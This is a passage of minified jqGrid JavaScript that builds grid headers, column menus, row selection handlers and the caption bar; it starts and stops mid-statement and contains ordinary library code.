class='jqgrow'><td>1</td></tr></table)").addClass(X(Y,"rowTable",!0,"ui-jqgrid-btable ui-common-table"));if($e(i).append(be),K.p.cellLayout=$e.jgrid.floatNum($e("td",be).css("padding-left"))+$e.jgrid.floatNum($e("td",be).css("padding-right"),10)+1,K.p.cellLayout<=0&&(K.p.cellLayout=5),$e(be).remove(),!null===K.p.grouping&&(K.p.scroll=!1,K.p.rownumbers=!1,K.p.treeGrid=!1,K.p.gridview=!0),!0===this.p.treeGrid){try{$e(this).jqGrid("setTreeGrid")}catch(e){}"local"!==K.p.datatype?K.p.localReader={id:"_id_"}:!1!==K.p.keyName&&(K.p.localReader={id:K.p.keyName})}if(this.p.subGrid)try{$e(K).jqGrid("setSubGrid")}catch(e){}this.p.searchCols&&(this.p.colNames.unshift(K.p.searchColOptions.colName),this.p.colModel.unshift({name:"sc",width:K.p.searchColOptions.colWidth,sortable:!1,hidedlg:!0,search:!1,align:"left",fixed:!0,frozen:!0,colmenu:K.p.searchColOptions.colmenu,classes:"jqgrid-searchcol",labelClasses:"jqgrid-searchcolumn",coloptions:{sorting:!1,columns:!1,filtering:!1,seraching:!1,grouping:!1,freeze:!1}})),this.p.multiselect&&(n=(n=$e.jgrid.getRegional(K,"defaults.selectAllLines"))||$e.jgrid.regional.en.defaults.selectAllLines,this.p.colNames.unshift("<input role='checkbox' id='cb_"+this.p.id+"' class='cbox' type='checkbox' title='"+n+"'/>"),this.p.colModel.unshift({name:"cb",width:$e.jgrid.cell_width?K.p.multiselectWidth+K.p.cellLayout:K.p.multiselectWidth,sortable:!1,resizable:!1,hidedlg:!0,search:!1,align:"center",fixed:!0,frozen:!0,classes:"jqgrid-multibox",labelClasses:"jqgrid-multibox"})),this.p.rownumbers&&(this.p.colNames.unshift(""),this.p.colModel.unshift({name:"rn",width:K.p.rownumWidth,sortable:!1,resizable:!1,hidedlg:!0,search:!1,align:"center",fixed:!0,frozen:!0,labelClasses:"jqgrid-rownumber"})),K.p.xmlReader=$e.extend(!0,{root:"rows",row:"row",page:"rows>page",total:"rows>total",records:"rows>records",repeatitems:!0,cell:"cell",id:"[id]",userdata:"userdata",subgrid:{root:"rows",row:"row",repeatitems:!0,cell:"cell"}},K.p.xmlReader),K.p.jsonReader=$e.extend(!0,{root:"rows",page:"page",total:"total",records:"records",repeatitems:!0,cell:"cell",id:"id",userdata:"userdata",subgrid:{root:"rows",repeatitems:!0,cell:"cell"}},K.p.jsonReader),K.p.localReader=$e.extend(!0,{root:"rows",page:"page",total:"total",records:"records",repeatitems:!1,cell:"cell",id:"id",userdata:"userdata",subgrid:{root:"rows",repeatitems:!0,cell:"cell"}},K.p.localReader),K.p.scroll&&(K.p.pgbuttons=!1,K.p.pginput=!1,K.p.rowList=[]),K.p.data.length&&(P(),ae());var je,_e,ye,c,p,xe,r,De,qe,o="<thead role='rowgroup'><tr class='ui-jqgrid-labels' role='row'>",Ce="",n="",a="";if(!0===K.p.shrinkToFit&&!0===K.p.forceFit)for(e=K.p.colModel.length-1;0<=e;e--)if(!K.p.colModel[e].hidden){K.p.colModel[e].resizable=!1;break}if("horizontal"===K.p.viewsortcols[1]?(n=" ui-i-asc",a=" ui-i-desc"):"single"===K.p.viewsortcols[1]&&(n=" ui-single-sort-asc",Ce=" style='display:none'",K.p.viewsortcols[0]=!(a=" ui-single-sort-desc")),je=R?"class='ui-th-div-ie'":"",xe="<span class='s-ico' style='display:none'>",xe=(xe+="<span sort='asc' class='ui-grid-ico-sort ui-icon-asc"+n+" ui-sort-"+v+" "+w+" "+C+" "+X(Y,"icon_asc",!0)+"'"+Ce+" aria-label='empty'><span style='display:none'>empty</span></span>")+("<span sort='desc' class='ui-grid-ico-sort ui-icon-desc"+a+" ui-sort-"+v+" "+w+" "+C+" "+X(Y,"icon_desc",!0)+"'"+Ce+" aria-label='empty'><span style='display:none'>empty</span></span></span>"),K.p.multiSort&&K.p.sortname)for(G=K.p.sortname.split(","),e=0;e<G.length;e++)O=$e.jgrid.trim(G[e]).split(" "),G[e]=$e.jgrid.trim(O[0]),S[e]=O[1]?$e.jgrid.trim(O[1]):K.p.sortorder||"asc";for(e=0;e<this.p.colNames.length;e++){var Ie=K.p.headertitles?' title="'+(K.p.colModel[e].tooltip||$e.jgrid.stripHtml(K.p.colNames[e]))+'"':"";(r=K.p.colModel[e]).hasOwnProperty("colmenu")||(r.colmenu="rn"!==r.name&&"cb"!==r.name&&"subgrid"!==r.name),o+="<th id='"+K.p.id+"_"+r.name+"' role='columnheader' scope='col' "+X(Y,"headerBox",!1,"ui-th-column ui-th-"+v+" "+(r.labelClasses||""))+Ie+">",Ie=r.index||r.name,o+="<div class='ui-th-div' id='jqgh_"+K.p.id+"_"+r.name+"' "+je+">"+K.p.colNames[e],r.width?r.width=parseInt(r.width,10):r.width=K.p.defaultColWidth,"boolean"!=typeof r.title&&(r.title=!0),r.lso="",Ie===K.p.sortname&&(K.p.lastsort=e),K.p.multiSort&&-1!==(O=$e.inArray(Ie,G))&&(r.lso=S[O]),o+=xe,K.p.colMenu&&r.colmenu&&(o+="<a title='"+$e.jgrid.getRegional(K,"colmenu.hovermenu")+"' class='"+("ltr"===K.p.direction?"colmenu":"colmenu-rtl")+"'><span class='colmenuspan "+C+" "+I.icon_menu+"'></span></a>"),o+="</div></th>"}o+="</tr></thead>",r=xe=null,$e(this).append(o),$e("thead tr",this).first().find("th").hover(function(){$e(this).addClass(q)},function(){$e(this).removeClass(q)}),this.p.multiselect&&(De=[],$e("#cb_"+$e.jgrid.jqID(K.p.id),this).on("click",function(){K.p.preserveSelection||(K.p.selarrrow=[]);var t=!0===K.p.frozenColumns?K.p.id+"_frozen":"";this.checked?($e(K.rows).each(function(e){0<e&&($e(this).hasClass("ui-subgrid")||$e(this).hasClass("jqgroup")||$e(this).hasClass(w)||$e(this).hasClass("jqfoot")||($e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+$e.jgrid.jqID(this.id))[K.p.useProp?"prop":"attr"]("checked",!0),$e(this).addClass($).attr("aria-selected","true"),K.p.preserveSelection&&-1!==K.p.selarrrow.indexOf(this.id)||K.p.selarrrow.push(this.id),K.p.selrow=this.id,t&&($e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+$e.jgrid.jqID(this.id),K.grid.fbDiv)[K.p.useProp?"prop":"attr"]("checked",!0),$e("#"+$e.jgrid.jqID(this.id),K.grid.fbDiv).addClass($))))}),qe=!0,De=[]):($e(K.rows).each(function(e){0<e&&($e(this).hasClass("ui-subgrid")||$e(this).hasClass("jqgroup")||$e(this).hasClass(w)||$e(this).hasClass("jqfoot")||($e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+$e.jgrid.jqID(this.id))[K.p.useProp?"prop":"attr"]("checked",!1),$e(this).removeClass($).attr("aria-selected","false"),De.push(this.id),K.p.preserveSelection&&-1<(e=K.p.selarrrow.indexOf(this.id))&&K.p.selarrrow.splice(e,1),t&&($e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+$e.jgrid.jqID(this.id),K.grid.fbDiv)[K.p.useProp?"prop":"attr"]("checked",!1),$e("#"+$e.jgrid.jqID(this.id),K.grid.fbDiv).removeClass($))))}),K.p.selrow=null,qe=!1),$e(K).triggerHandler("jqGridSelectAll",[qe?K.p.selarrrow:De,qe]),$e.jgrid.isFunction(K.p.onSelectAll)&&K.p.onSelectAll.call(K,qe?K.p.selarrrow:De,qe),$e.jgrid.isFunction(K.p.onMultiSelect)&&K.p.onMultiSelect.call(K,K.p.selarrrow)}));var Ge,l,Se,Ne,Me="",ke="",n=-1!==K.p.styleUI.search("Bootstrap")?2:0,d=0,u=$e.jgrid.cell_width?0:J(K.p.cellLayout,0),g=0,a=J(K.p.scrollOffset,0),ze=!1,h=0;if($e.each(K.p.colModel,function(){var e;void 0===this.hidden&&(this.hidden=!1),K.p.grouping&&K.p.autowidth&&0<=(e=$e.inArray(this.name,K.p.groupingView.groupField))&&K.p.groupingView.groupColumnShow.length>e&&(this.hidden=!K.p.groupingView.groupColumnShow[e]),this.widthOrg=J(this.width,0),this.maxWidth&&J(this.width,0)>J(this.maxWidth,0)&&(this.width=this.maxWidth),l=J(this.width,0),!1===this.hidden&&(d+=l+u,this.fixed?h+=l+u:g++)}),isNaN(K.p.width)&&(K.p.width=d+(!1!==K.p.shrinkToFit||isNaN(K.p.height)?0:a)),y.width=parseInt(K.p.width,10),K.p.tblwidth=d,!1===K.p.shrinkToFit&&!0===K.p.forceFit&&(K.p.forceFit=!1),!0===K.p.shrinkToFit&&0<g){Se=y.width-u*g-h,isNaN(K.p.height)||(Se-=a,ze=!0);var d=0,Re=0,Oe=0,Be=[],Fe=0,f=($e.each(K.p.colModel,function(e){!1!==this.hidden||this.fixed||(l=Math.round(Se*this.width/(K.p.tblwidth-u*g-h)),this.maxWidth&&l>this.maxWidth?(Re++,Oe+=l,this.width=this.maxWidth,Ne=e):(this.width=l,Fe+=l,Be.push(e+"")),d+=this.width,Ge=e)}),d+=Oe,-1);if((We=0)<Re&&0<g){for(var Ae=0,Pe=0;Pe<Be.length;Pe++)f=parseInt(Be[Pe],10),Ae+=Math.round(K.p.colModel[f].width*Oe/Fe),K.p.colModel[f].width=K.p.colModel[f].width+Math.round(K.p.colModel[f].width*Oe/Fe);Ae!==Oe&&(K.p.colModel[f].width+=Oe-Ae)}ze?y.width-h-(d+u*g)!==a&&(We=y.width-h-(d+u*g)-a):0!==Math.abs(y.width-h-(d+u*g))&&(We=y.width-h-(d+u*g)-n),-1<f&&Ge===Ne&&(Ge=f),K.p.colModel[Ge].width+=We+-1,K.p.tblwidth=d+We+u*g+h,K.p.tblwidth>K.p.width&&(K.p.colModel[Ge].width-=K.p.tblwidth-parseInt(K.p.width,10),K.p.tblwidth=K.p.width)}be=-1!==K.p.styleUI.search("Bootstrap"),$e(i).css("width",y.width+"px").append("<div class='ui-jqgrid-resize-mark' id='rs_m"+K.p.id+"'> </div>"),K.p.scrollPopUp&&$e(i).append("<div "+X(Y,"scrollBox",!1,"loading ui-scroll-popup")+" id='scroll_g"+K.p.id+"'></div>"),$e(t).css("width",y.width+"px"),o=$e(K).find("thead").first().get(0),K.p.footerrow&&(Me+="<table role='presentation' style='width:"+K.p.tblwidth+"px' "+X(Y,"footerTable",!1,"ui-jqgrid-ftable ui-common-table")+"><tbody><tr role='row' "+X(Y,"footerBox",!1,"footrow footrow-"+v)+">"),K.p.headerrow&&(ke+="<table role='presentation' style='width:"+K.p.tblwidth+"px' "+X(Y,"headerRowTable",!1,"ui-jqgrid-hrtable ui-common-table")+"><tbody><tr role='row' "+X(Y,"headerRowBox",!1,"hrheadrow hrheadrow-"+v)+">");var ze=$e(o).find("tr").first(),Te="<tr class='jqgfirstrow "+("rtl"===K.p.direction?"ui-row-rtl'":"'")+" role='row'>",He=0,Ue=$e.jgrid.getFont($e("th",ze).first()[0]);if(K.p.disableClick=!1,$e("th",ze).each(function(e){r=K.p.colModel[e],_e=r.width,void 0===r.resizable&&(r.resizable=!0),r.resizable?(ye=document.createElement("span"),$e(ye).html(" ").addClass("ui-jqgrid-resize ui-jqgrid-resize-"+v).css("cursor","col-resize"),$e(this).addClass(K.p.resizeclass)):ye="",$e(this).css("width",_e+"px").prepend(ye),ye=null;var t="",i="",i=(r.hidden&&($e(this).css("display","none"),t="display:none;"),r.labelClasses&&(i="class='"+r.labelClasses+"'"),Te+="<td "+i+" role='gridcell' style='height:0px;width:"+_e+"px;"+t+"'></td>",y.headers[e]={width:_e,el:this},"boolean"!=typeof(Ce=r.sortable)&&(r.sortable=!0,Ce=!0),r.name);"cb"!==i&&"subgrid"!==i&&"rn"!==i&&"sc"!==i&&K.p.viewsortcols[2]&&$e(">div",this).addClass("ui-jqgrid-sortable"),r.canvas_width=r.autosize_headers?$e.jgrid.getTextWidth($e("div",this)[0].outerText,Ue)+(r.colmenu?$e.jgrid.floatNum($e(".colmenuspan",this).parent().width()):0)+$e.jgrid.floatNum($e("div",this).css("padding-left"))+$e.jgrid.floatNum($e("div",this).css("padding-right"))+$e.jgrid.floatNum($e(".ui-jqgrid-resize",this).width()):0,Ce&&(K.p.multiSort?K.p.viewsortcols[0]?($e("div span.s-ico",this).show(),r.lso&&$e("div span.ui-icon-"+r.lso,this).removeClass(w).css("display","")):r.lso&&($e("div span.s-ico",this).show(),$e("div span.ui-icon-"+r.lso,this).removeClass(w).css("display","")):K.p.viewsortcols[0]?($e("div span.s-ico",this).show(),e===K.p.lastsort&&$e("div span.ui-icon-"+K.p.sortorder,this).removeClass(w).css("display","")):e===K.p.lastsort&&""!==K.p.sortname&&($e("div span.s-ico",this).show(),$e("div span.ui-icon-"+K.p.sortorder,this).removeClass(w).css("display",""))),K.p.footerrow&&(Me+="<td role='gridcell' "+s(e,0,"",null,"",!1)+"> </td>"),K.p.headerrow&&(ke+="<td role='gridcell' "+s(e,0,"",null,"",!1)+"> </td>")}).mousedown(function(e){if(1===$e(e.target).closest("th>span.ui-jqgrid-resize").length){var t,i=ue(this);if(e.preventDefault(),He++,setTimeout(function(){He=0},400),2!==He)return!0===K.p.forceFit&&(K.p.nv=function(e){for(var t=e,i=e,r=e+1;r<K.p.colModel.length;r++)if(!0!==K.p.colModel[r].hidden){i=r;break}return i-t}(i)),y.dragStart(i,e,function(e){e=$e(K.grid.headers[e].el),e=[e.position().left+e.outerWidth()];return"rtl"===K.p.direction&&(e[0]=K.p.width-e[0]),e[0]-=K.grid.bDiv.scrollLeft,e.push($e(K.grid.hDiv).position().top),e.push($e(K.grid.bDiv).offset().top-$e(K.grid.hDiv).offset().top+$e(K.grid.bDiv).height()),e}(i)),!1;try{!0===K.p.colModel[i].autosize&&(t=$e(K).jqGrid("getCol",i,!1,"maxwidth"),$e(K).jqGrid("resizeColumn",i,t+(be?K.p.cellLayout:0)).jqGrid("refreshGroupHeaders"))}catch(e){}finally{He=0}}}).click(function(e){if(K.p.disableClick)return K.p.disableClick=!1;var t,i,r,o="th>div.ui-th-div",o=(K.p.viewsortcols[2]||(o="th>div>span>span.ui-grid-ico-sort"),$e(e.target).closest(o));if(1===o.length)if(r=K.p.frozenColumns?(r=$e(this)[0].id.substring(K.p.id.length+1),$e.jgrid.getElemByAttrVal(K.p.colModel,"name",r,!0)):ue(this),$e(e.target).hasClass("colmenuspan")){if($e.jgrid.isNull($e("#column_menu")[0])||$e("#column_menu").remove(),void 0!==r){var n,a,s,l,d,c=$e("#gbox_"+K.p.id).offset(),c=$e(this).offset().left-c.left,p=("ltr"===K.p.direction&&(c+=$e(this).outerWidth()),r),u=void 0,g=$e(y.hDiv).height(),h=($e(".ui-search-toolbar",y.hDiv)[0]&&!isNaN($e(".ui-search-toolbar",y.hDiv).height())&&(g-=$e(".ui-search-toolbar",y.hDiv).height()),$e(y.cDiv).is(":hidden")||(g+=$e(y.cDiv).outerHeight()),K.p.toolbar[1]&&"bottom"!==K.p.toolbar[2]&&!$e.jgrid.isNull($e(y.uDiv),!0)&&(g+=$e(y.uDiv).outerHeight()),K.p.toppager&&(g+=$e("#"+$e.jgrid.jqID(K.p.id)+"_toppager").outerHeight()),c=parseInt(c,10),u=g,""),f="",m=K.p.colModel[p],v=$e.extend({sorting:!0,columns:!0,filtering:!0,seraching:!0,grouping:!0,freeze:!0},m.coloptions),g=$e.jgrid.styleUI[K.p.styleUI||"jQueryUI"].common,w=$e.jgrid.getRegional(K,"colmenu"),b=K.p.colNames[p],j=[],_=$e.jgrid.trim(m.name);for(s in j.push(h),m.sortable&&v.sorting&&(h='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortasc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+I.icon_sort_asc+'"></span></td><td class="menu_text">'+w.sortasc+"</td></tr></table></a></li>",h+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortdesc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+I.icon_sort_desc+'"></span></td><td class="menu_text">'+w.sortdesc+"</td></tr></table></a></li>",j.push(h)),v.columns&&(h='<li class="ui-menu-item divider" role="separator"></li>',h+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="columns"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+I.icon_columns+'"></span></td><td class="menu_text">'+w.columns+"</td></tr></table></a></li>",j.push(h)),v.filtering&&(h='<li class="ui-menu-item divider" role="separator"></li>',h+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="filtering"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+I.icon_filter+'"></span></td><td class="menu_text">'+w.filter+" "+b+"</td></tr></table></a></li>",j.push(h)),v.grouping&&(n=$e.inArray(m.name,K.p.groupingView.groupField),h='<li class="ui-menu-item divider" role="separator"></li>',h+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="grouping"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+I.icon_group+'"></span></td><td class="menu_text">'+(-1!==n?w.ungrouping:w.grouping+" "+b)+"</td></tr></table></a></li>",j.push(h)),!v.freeze||K.p.subGrid||K.p.treeGrid||K.p.cellEdit||(a=!m.frozen||!K.p.frozenColumns,h='<li class="ui-menu-item divider" role="separator"></li>',h+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="freeze"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+I.icon_freeze+'"></span></td><td class="menu_text">'+(a?w.freeze+" "+b:w.unfreeze)+"</td></tr></table></a></li>",j.push(h)),K.p.colMenuCustom)K.p.colMenuCustom.hasOwnProperty(s)&&(l=K.p.colMenuCustom[s],$e.jgrid.isFunction(K.p.colMenuBeforeProcess)&&K.p.colMenuBeforeProcess.call(K,{module:"custom",action:l,column:l.colname}),$e(K).triggerHandler("jqGridcolMenuBeforeProcess",[{module:"custom",action:l,column:l.colname}]),d=l.exclude.split(","),d=$e.map(d,function(e){return $e.jgrid.trim(e)}),l.colname===_||"_all_"===l.colname&&-1===$e.inArray(_,d))&&(d=l.items.length?"submenu":l.id,f='<li class="ui-menu-item divider" role="separator"></li>',h='<li class="ui-menu-item" role="presentation"><a id="'+l.id+'" class="g-menu-item" tabindex="0" role="menuitem" data-value="'+d+'"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+C+" "+l.icon+'"></span></td><td class="menu_text">'+l.title+"</td></tr></table></a></li>","last"===l.position?(l.separator&&j.push(f),j.push(h)):"first"===l.position&&(l.separator&&j.unshift(f),j.unshift(h)));j.unshift('<ul id="column_menu" role="menu" tabindex="0">'),j.push("</ul>"),$e("#gbox_"+K.p.id).append(j.join("")),$e("#column_menu").addClass("ui-search-menu modal-content column-menu jqgrid-column-menu ui-menu "+g.shadow+" "+I.menu_widget).css({left:c,top:u}),"ltr"===K.p.direction&&(b=$e("#column_menu").width()+26,$e("#column_menu").css("left",c-b+"px")),$e("#column_menu > li > a").hover(function(){var e,t;$e("#col_menu").remove(),$e("#search_menu").remove(),"columns"===$e(this).attr("data-value")&&(e=$e(this).parent().width()+8,t=$e(this).parent().position().top-5,ge(t,e,$e(this).parent(),v)),"filtering"===$e(this).attr("data-value")&&(e=$e(this).parent().width()+8,t=$e(this).parent().position().top-5,he(p,t,e,$e(this).parent())),"submenu"===$e(this).attr("data-value")&&(e=$e(this).parent().width()+8,t=$e(this).parent().position().top-5,we(t,e,$e(this).parent(),$e(this).attr("id"),_)),$e(this).addClass(q)},function(){$e(this).removeClass(q)}).click(function(){var e=$e(this).attr("data-value"),t=K.grid.headers[p].el;"sortasc"===e||"sortdesc"===e?($e.jgrid.isFunction(K.p.colMenuBeforeProcess)&&K.p.colMenuBeforeProcess.call(K,{module:"sorting",action:"sortasc"===e?"asc":"desc",column:m.name}),pe("jqgh_"+K.p.id+"_"+m.name,p,!0,"sortasc"===e?"asc":"desc",t)):"grouping"===e?me(p,n):"freeze"===e&&ve(p,a),"grouping"!==e&&"freeze"!==e||$e(this).remove(),K.p.colMenuCustom.hasOwnProperty(e)&&(t=K.p.colMenuCustom[e],$e.jgrid.isFunction(t.funcname))&&(t.funcname.call(K,_),t.closeOnRun)&&$e(this).remove()}),parseFloat($e("#column_menu").css("left"))<0&&$e("#column_menu").css("left",$e(K).css("left")),!0===K.p.menubar&&$e("#"+K.p.id+"_menubar").hide(),e.stopPropagation()}}else K.p.viewsortcols[2]||(t=!0,i=o.attr("sort")),$e.jgrid.isNull(r)||pe($e("div",this)[0].id,r,t,i,this),void 0!==K.p.selHeadInd&&$e(y.headers[K.p.selHeadInd].el).attr("tabindex","-1"),K.p.selHeadInd=r,$e(this).attr("tabindex","0")}),r=null,jQuery._cacheCanvas=null,K.p.sortable&&$e.fn.sortable)try{$e(K).jqGrid("sortableColumns",ze)}catch(e){}K.p.footerrow&&(Me+="</tr></tbody></table>"),K.p.headerrow&&(ke+="</tr></tbody></table>"),Te+="</tr>",a=document.createElement("tbody"),$e(a).attr({role:"rowgroup"}),this.appendChild(a),$e(this).addClass(X(Y,"rowTable",!0,"ui-jqgrid-btable ui-common-table")).append(Te),K.p.altRows&&$e(this).addClass(X(Y,"stripedTable",!0,""));var m,x,Le,Ee,Te=null,We=$e("<table "+X(Y,"headerTable",!1,"ui-jqgrid-htable ui-common-table")+" style='width:"+K.p.tblwidth+"px' role='grid' aria-labelledby='gbox_"+this.id+"'></table>").append(o),D=!(!K.p.caption||!0!==K.p.hiddengrid),t=$e("<div class='ui-jqgrid-hbox"+("rtl"===v?"-rtl":"")+"'></div>"),o=null,Ve=(y.hDiv=document.createElement("div"),y.hDiv.style.width=y.width-n+"px",y.hDiv.className=X(Y,"headerDiv",!0,"ui-jqgrid-hdiv"),$e(y.hDiv).append(t),$e(t).append(We),D&&$e(y.hDiv).hide(),K.p.pager&&("string"==typeof K.p.pager?"#"===K.p.pager.slice(0,1)&&(K.p.pager=K.p.pager.substring(1)):K.p.pager=$e(K.p.pager).attr("id"),$e("#"+$e.jgrid.jqID(K.p.pager)).css({width:y.width-n+"px"}).addClass(X(Y,"pagerBox",!0,"ui-jqgrid-pager")).appendTo(i),D&&$e("#"+$e.jgrid.jqID(K.p.pager)).hide(),de(K.p.pager,""),K.p.pager="#"+$e.jgrid.jqID(K.p.pager)),!1===K.p.cellEdit&&!0===K.p.hoverrows&&$e(K).on({mouseover:function(e){p=$e(e.target).closest("tr.jqgrow"),"ui-subgrid"!==$e(p).attr("class")&&$e(p).addClass(q)},mouseout:function(e){p=$e(e.target).closest("tr.jqgrow"),$e(p).removeClass(q)}}),$e(K).before(y.hDiv).on({click:function(e){if(c=e.target,p=$e(c,K.rows).closest("tr.jqgrow"),0===$e(p).length||-1<p[0].className.indexOf(w)||($e(c,K).closest("table.ui-jqgrid-btable").attr("id")||"").replace("_frozen","")!==K.id)return this;var t,i,r,o,n,a,s,l=$e(c).filter(":enabled").hasClass("cbox"),d=!1!==(d=$e(K).triggerHandler("jqGridBeforeSelectRow",[p[0].id,e]))&&"stop"!==d;if(!$e.jgrid.isFunction(K.p.beforeSelectRow)||!1!==(s=K.p.beforeSelectRow.call(K,p[0].id,e))&&"stop"!==s||(d=!1),l&&!1===d&&$e(e.target).prop("checked",!$e(e.target).prop("checked")),"A"!==c.tagName&&("INPUT"!==c.tagName&&"TEXTAREA"!==c.tagName&&"OPTION"!==c.tagName&&"SELECT"!==c.tagName||l||"INPUT"===c.tagName&&c.id.startsWith("jqs_"+K.p.id)))if(m=p[0].id,0<(c=$e(c).closest("tr.jqgrow>td")).length&&(x=$e.jgrid.getCellIndex(c)),!0!==K.p.cellEdit||K.p.ariaBody){if(0<c.length&&(Le=$e(c).closest("td,th").html(),$e(K).triggerHandler("jqGridCellSelect",[m,x,Le,e]),$e.jgrid.isFunction(K.p.onCellSelect))&&K.p.onCellSelect.call(K,m,x,Le,e),d)if(K.p.multimail&&K.p.multiselect){if(e.shiftKey){if(l)return s=$e(K).jqGrid("getGridParam","selrow"),t=$e(K).jqGrid("getInd",m),i=$e(K).jqGrid("getInd",s),o=r="",o=i<t?(r=s,m):(r=m,s),s=!(a=n=!1),-1<$e.inArray(m,K.p.selarrrow)&&(s=!1),$e.each($e(this).getDataIDs(),function(e,t){return(a=t===r||a)&&$e(K).jqGrid("resetSelection",t),t!==o}),s&&$e.each($e(this).getDataIDs(),function(e,t){return(n=t===r||n)&&$e(K).jqGrid("setSelection",t,!1),t!==o}),void(K.p.selrow=i<t?o:r);window.getSelection().removeAllRanges()}Xe(m,l,e,!1)}else K.p.multikey?e[K.p.multikey]?$e(K).jqGrid("setSelection",m,!0,e):K.p.multiselect&&l&&(l=$e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+m).is(":checked"),$e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+m)[K.p.useProp?"prop":"attr"]("checked",!l)):Xe(m,l,e,!0)}else if(K.p.multiselect&&l&&d)$e(K).jqGrid("setSelection",m,!0,e);else if(0<c.length)try{$e(K).jqGrid("editCell",p[0].rowIndex,x,!0,e)}catch(e){}},reloadGrid:function(e,t){var i;return!0===K.p.treeGrid&&(K.p.datatype=K.p.treedatatype),(t=t||{}).current&&K.grid.selectionPreserver(K),"local"===K.p.datatype?($e(K).jqGrid("resetSelection"),K.p.data.length&&(P(),ae())):K.p.treeGrid||(K.p.selrow=null,K.p.multiselect&&!K.p.preserveSelection&&(K.p.selarrrow=[],le(!1)),K.p.savedRow=[]),K.p.scroll&&ne.call(K,!0,!1),t.page&&((i=t.page)>K.p.lastpage&&(i=K.p.lastpage),K.p.page=i=i<1?1:i,K.grid.prevRowHeight?K.grid.bDiv.scrollTop=(i-1)*K.grid.prevRowHeight*K.p.rowNum:K.grid.bDiv.scrollTop=0),K.grid.prevRowHeight&&K.p.scroll&&void 0===t.page?(delete K.p.lastpage,K.grid.populateVisible()):K.grid.populate(),!0===K.p.inlineNav&&$e(K).jqGrid("showAddEditButtons"),K.p.searchCols&&!$e.isEmptyObject(K.p._results)&&(K.p._results={},$e.jgrid.searchColOnEnter(K.p.id,null)),!1},dblclick:function(e){var t;if(c=e.target,p=$e(c,K.rows).closest("tr.jqgrow"),0!==$e(p).length)return m=p[0].rowIndex,x=$e.jgrid.getCellIndex(c),t=$e(K).triggerHandler("jqGridDblClickRow",[$e(p).attr("id"),m,x,e]),!$e.jgrid.isNull(t)||$e.jgrid.isFunction(K.p.ondblClickRow)&&(t=K.p.ondblClickRow.call(K,$e(p).attr("id"),m,x,e),!$e.jgrid.isNull(t))?t:void 0},contextmenu:function(e){var t;if(c=e.target,p=$e(c,K.rows).closest("tr.jqgrow"),0!==$e(p).length)return K.p.multiselect||$e(K).jqGrid("setSelection",p[0].id,!0,e),m=p[0].rowIndex,x=$e.jgrid.getCellIndex(c),t=$e(K).triggerHandler("jqGridRightClickRow",[$e(p).attr("id"),m,x,e]),!$e.jgrid.isNull(t)||$e.jgrid.isFunction(K.p.onRightClickRow)&&(t=K.p.onRightClickRow.call(K,$e(p).attr("id"),m,x,e),!$e.jgrid.isNull(t))?t:void 0}}),y.bDiv=document.createElement("div"),R&&"auto"===String(K.p.height).toLowerCase()&&(K.p.height="100%"),$e(y.bDiv).append($e('<div style="position:relative;"></div>').append("<div></div>").append(this)).addClass("ui-jqgrid-bdiv").css({height:K.p.height+(isNaN(K.p.height)?"":"px"),width:y.width-n+"px"}).on("scroll",y.scrollGrid),$e(y.bDiv).find("table").first().css({width:K.p.tblwidth+"px"}),$e.support.tbody||2===$e("tbody",this).length&&$e("tbody",this).slice(1).remove(),K.p.multikey&&($e.jgrid.msie()?$e(y.bDiv).on("selectstart",function(){return!1}):$e(y.bDiv).on("mousedown",function(){return!1})),D&&$e(y.bDiv).hide(),C+" "+X(Y,"icon_caption_open",!0)),Ke=C+" "+X(Y,"icon_caption_close",!0),Qe=(y.cDiv=document.createElement("div"),!0===K.p.hidegrid?$e("<a role='link' class='ui-jqgrid-titlebar-close HeaderButton "+z+"' title='"+($e.jgrid.getRegional(K,"defaults.showhide",K.p.showhide)||"")+"' />").hover(function(){Qe.addClass(q)},function(){Qe.removeClass(q)}).append("<span class='ui-jqgrid-headlink "+Ve+"'></span>").css("rtl"===v?"left":"right","0px"):"");$e(y.cDiv).append(Qe).append("<span class='ui-jqgrid-title'>"+K.p.caption+"</span>").addClass("ui-jqgrid-titlebar ui-jqgrid-caption"+("rtl"===v?"-rtl":"")+" "+X(Y,"gridtitleBox",!0)),!0===K.p.menubar&&(ze='<ul id="'+K.p.id+'_menubar" class="ui-search-menu modal-content column-menu ui-menu jqgrid-caption-menu '+I.menu_widget+'" role="menubar" tabindex="0"></ul>',$e("#gbox_"+K.p.id).append(ze),$e(y.cDiv).append("<a role='link' class='ui-jqgrid-menubar menubar-"+("rtl"===v?"rtl":"ltr")+"' style=''><span class='colmenuspan "+C+" 